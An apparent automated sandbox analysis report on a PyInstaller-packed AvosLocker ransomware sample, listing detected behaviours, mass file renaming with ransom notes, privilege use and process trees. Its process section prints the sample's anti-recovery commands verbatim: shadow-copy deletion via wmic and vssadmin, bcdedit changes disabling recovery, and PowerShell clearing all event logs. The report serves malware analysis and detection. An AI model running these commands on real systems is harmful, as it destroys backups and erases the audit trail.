Malware Analysis Report

2025-01-22 20:50

Sample ID 241215-ays3as1jgq
Target generated_script.exe
SHA256 44000c80effa84d7b149003e07b9c73ebfdb73f21672f6beee69f6a298c226fb
Tags
pyinstaller avoslocker defense_evasion discovery evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

44000c80effa84d7b149003e07b9c73ebfdb73f21672f6beee69f6a298c226fb

Threat Level: Known bad

The file generated_script.exe was found to be: Known bad.

Malicious Activity Summary

pyinstaller avoslocker defense_evasion discovery evasion execution impact ransomware

Avoslocker Ransomware

Avoslocker family

Deletes shadow copies

Modifies boot configuration data using bcdedit

Renames multiple (8507) files with added filename extension

Loads dropped DLL

Executes dropped EXE

Enumerates connected drives

Drops desktop.ini file(s)

Sets desktop wallpaper using registry

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Unsigned PE

Detects Pyinstaller

System Location Discovery: System Language Discovery

Interacts with shadow copies

Uses Volume Shadow Copy service COM API

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-12-15 00:37

Signatures

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-12-15 00:37

Reported

2024-12-15 00:40

Platform

win7-20241010-en

Max time kernel

118s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\generated_script.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\generated_script.exe

"C:\Users\Admin\AppData\Local\Temp\generated_script.exe"

C:\Users\Admin\AppData\Local\Temp\generated_script.exe

"C:\Users\Admin\AppData\Local\Temp\generated_script.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI24922\python311.dll

MD5 9a24c8c35e4ac4b1597124c1dcbebe0f
SHA1 f59782a4923a30118b97e01a7f8db69b92d8382a
SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
SHA512 9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

Analysis: behavioral2

Detonation Overview

Submitted

2024-12-15 00:37

Reported

2024-12-15 00:40

Platform

win10v2004-20241007-en

Max time kernel

113s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\generated_script.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8507) files with added filename extension

ransomware

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2013740206.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Windows Media Player\uk-UA\wmpnssui.dll.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down-pressed.gif C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\WinFXList.xml C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\en-US\wmplayer.exe.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\Dismiss.scale-64.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Windows NT\Accessories\fr-FR\wordpad.exe.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProR_Grace-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\he-IL\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ca-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailAppList.targetsize-48_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\Microsoft Office\root\vreg\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\rsod\office32ww.msi.16.x-none.tree.dat C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_Retail-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\hwrdeslm.dat C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\sl-sl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ro-ro\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\OutlookMailWideTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial3-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\Java\jdk-1.8\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons2x.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\Doughboy.scale-125.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Windows NT\TableTextService\TableTextServiceArray.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Windows Media Player\fr-FR\wmpnssui.dll.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\close.svg C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\hr-hr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailSmallTile.scale-400.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\FREN\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\bg\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\Java\jdk-1.8\lib\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Notifications\SoftLandingAssetDark.gif.DATA C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailMediumTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailAppList.targetsize-32_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\sql2000.xsl C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-black_scale-100.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProCO365R_Subscription-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\7-Zip\Lang\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_US\README_en_US.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_sortedby_selected_18.svg C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File created C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\ur.pak.DATA C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\root\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\currency.data C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fi-fi\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON\AFTRNOON.ELM C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\it-IT\TipRes.dll.mui C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\or.pak C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\s_close_h2x.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons_retina.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PersonaSpy\personaspybridge.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Retail-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\ado\msadox28.tlb C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\es-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fil_get.svg C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Advanced-Light.scale-100.png C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 816 wrote to memory of 4456 N/A C:\Users\Admin\AppData\Local\Temp\generated_script.exe C:\Users\Admin\AppData\Local\Temp\generated_script.exe
PID 816 wrote to memory of 4456 N/A C:\Users\Admin\AppData\Local\Temp\generated_script.exe C:\Users\Admin\AppData\Local\Temp\generated_script.exe
PID 4456 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\generated_script.exe C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe
PID 4456 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\generated_script.exe C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe
PID 4456 wrote to memory of 1380 N/A C:\Users\Admin\AppData\Local\Temp\generated_script.exe C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe
PID 1380 wrote to memory of 2800 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 2800 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 1140 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 1140 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 3424 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 1380 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\SYSTEM32\cmd.exe
PID 2800 wrote to memory of 48668 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2800 wrote to memory of 48668 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4676 wrote to memory of 48676 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4676 wrote to memory of 48676 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3424 wrote to memory of 48688 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3424 wrote to memory of 48688 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1140 wrote to memory of 48696 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1140 wrote to memory of 48696 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 3456 wrote to memory of 48724 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3456 wrote to memory of 48724 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1380 wrote to memory of 30044 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1380 wrote to memory of 30044 N/A C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 30044 wrote to memory of 30312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 30044 wrote to memory of 30312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 30044 wrote to memory of 30468 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 30044 wrote to memory of 30468 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\generated_script.exe

"C:\Users\Admin\AppData\Local\Temp\generated_script.exe"

C:\Users\Admin\AppData\Local\Temp\generated_script.exe

"C:\Users\Admin\AppData\Local\Temp\generated_script.exe"

C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe

C:\Users\Admin\AppData\Local\Temp\tmp39eyn0q3\hack.exe

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

